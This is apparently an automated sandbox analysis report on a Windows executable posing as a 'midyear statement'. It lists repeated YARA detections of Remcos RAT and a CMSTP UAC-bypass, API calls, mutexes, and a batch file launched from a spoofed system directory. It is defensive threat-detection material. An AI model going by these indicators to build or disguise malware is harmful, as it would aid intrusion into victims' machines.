Source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: Process Memory Space: wkrriuhD.pif PID: 7896, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: wkrriuhD.pif PID: 7860, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: wkrriuhD.pif PID: 1652, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.expl.evad.winEXE@39/16@7/3

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 27_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,??3@YAXPAX@Z,

27_2_004182CE

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_12347952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

24_2_12347952

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040A7F18 GetDiskFreeSpaceA,

0_2_040A7F18

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1233F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

24_2_1233F474

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040B6D0C CoCreateInstance,

0_2_040B6D0C

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1234B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,

24_2_1234B4A8

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1234AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

24_2_1234AA4A

Source: C:\Users\user\Desktop\midyear_statement.exe

File created: C:\Users\Public\Libraries\Null

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-W5UGP5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5900:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cciqjdho.kwp.ps1

Jump to behavior

Source: C:\Windows \System32\2506803.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: 8SG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: 8SG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Command line argument: PG	24_2_0059F7A7
